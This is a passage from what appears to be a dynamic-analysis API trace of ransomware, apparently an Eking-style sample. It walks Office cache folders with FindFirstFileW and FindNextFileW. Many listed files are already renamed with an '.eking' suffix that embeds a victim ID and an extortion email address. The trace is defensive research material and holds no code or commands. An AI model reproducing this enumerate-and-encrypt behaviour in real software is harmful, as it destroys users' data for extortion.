dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.903] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xae1de60, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x323512, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="POWERP~1.EKI")) returned 1 [0194.903] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa935100, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0xa935100, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xa9a7520, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="POWERP~2.EKI")) returned 1 [0194.903] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xbcb2520, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x43da392, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="PPTLRC~1.EKI")) returned 1 [0194.903] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbac3340, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0xbac3340, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xbb0f600, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="SETUPX~1.EKI")) returned 1 [0194.903] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbac3340, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0xbac3340, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xbb0f600, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="SETUPX~1.EKI")) returned 0 [0194.903] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0194.904] GetProcessHeap () returned 0x550000 [0194.904] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0194.904] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe907ee0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xe907ee0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0194.904] GetProcessHeap () returned 0x550000 [0194.904] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0194.904] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe907ee0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xe907ee0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0194.905] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe907ee0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xe907ee0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.905] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xd290f40, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x325d12, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="PUBLIS~1.EKI")) returned 1 [0194.905] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xceb2b80, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0xceb2b80, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xe27c260, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="PUBLIS~2.EKI")) returned 1 [0194.905] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xff0ca60, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0xa3f4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="PUBLRC~1.EKI")) returned 1 [0194.905] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe907ee0, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0xe907ee0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xe9ec720, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x742, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="SETUPX~1.EKI")) returned 1 [0194.905] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe907ee0, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0xe907ee0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xe9ec720, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x742, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="SETUPX~1.EKI")) returned 0 [0194.906] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0194.906] GetProcessHeap () returned 0x550000 [0194.906] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0194.906] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebb57a0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xebb57a0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0194.907] GetProcessHeap () returned 0x550000 [0194.907] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0194.907] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebb57a0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xebb57a0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0194.907] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebb57a0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xebb57a0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.907] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xff58d20, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0xee20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="OUTLKL~1.EKI")) returned 1 [0194.908] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0194.908] SetEvent (hEvent=0x134) returned 1 [0194.908] ResetEvent (hEvent=0x138) returned 1 [0194.913] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0194.913] SetEvent (hEvent=0x134) returned 1 [0194.914] ResetEvent (hEvent=0x138) returned 1 [0194.925] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.925] SetEvent (hEvent=0x134) returned 1 [0194.925] ResetEvent (hEvent=0x138) returned 1 [0194.925] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0194.925] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0194.930] GetProcessHeap () returned 0x550000 [0194.930] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0194.930] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0194.930] GetProcessHeap () returned 0x550000 [0194.930] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0194.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0194.930] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.930] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.930] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0194.930] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0194.931] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0194.931] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0194.931] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0194.931] GetProcessHeap () returned 0x550000 [0194.931] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2580058 | out: hHeap=0x550000) returned 1 [0194.931] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0194.931] GetProcessHeap () returned 0x550000 [0194.931] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2580058 [0194.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0194.932] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.932] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0194.932] GetProcessHeap () returned 0x550000 [0194.932] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2591068 [0194.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0194.932] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.932] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0194.933] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0194.933] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0194.933] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0194.933] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0194.933] GetProcessHeap () returned 0x550000 [0194.933] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2591068 | out: hHeap=0x550000) returned 1 [0194.933] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0194.933] GetProcessHeap () returned 0x550000 [0194.933] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2591068 [0194.933] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0194.934] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, 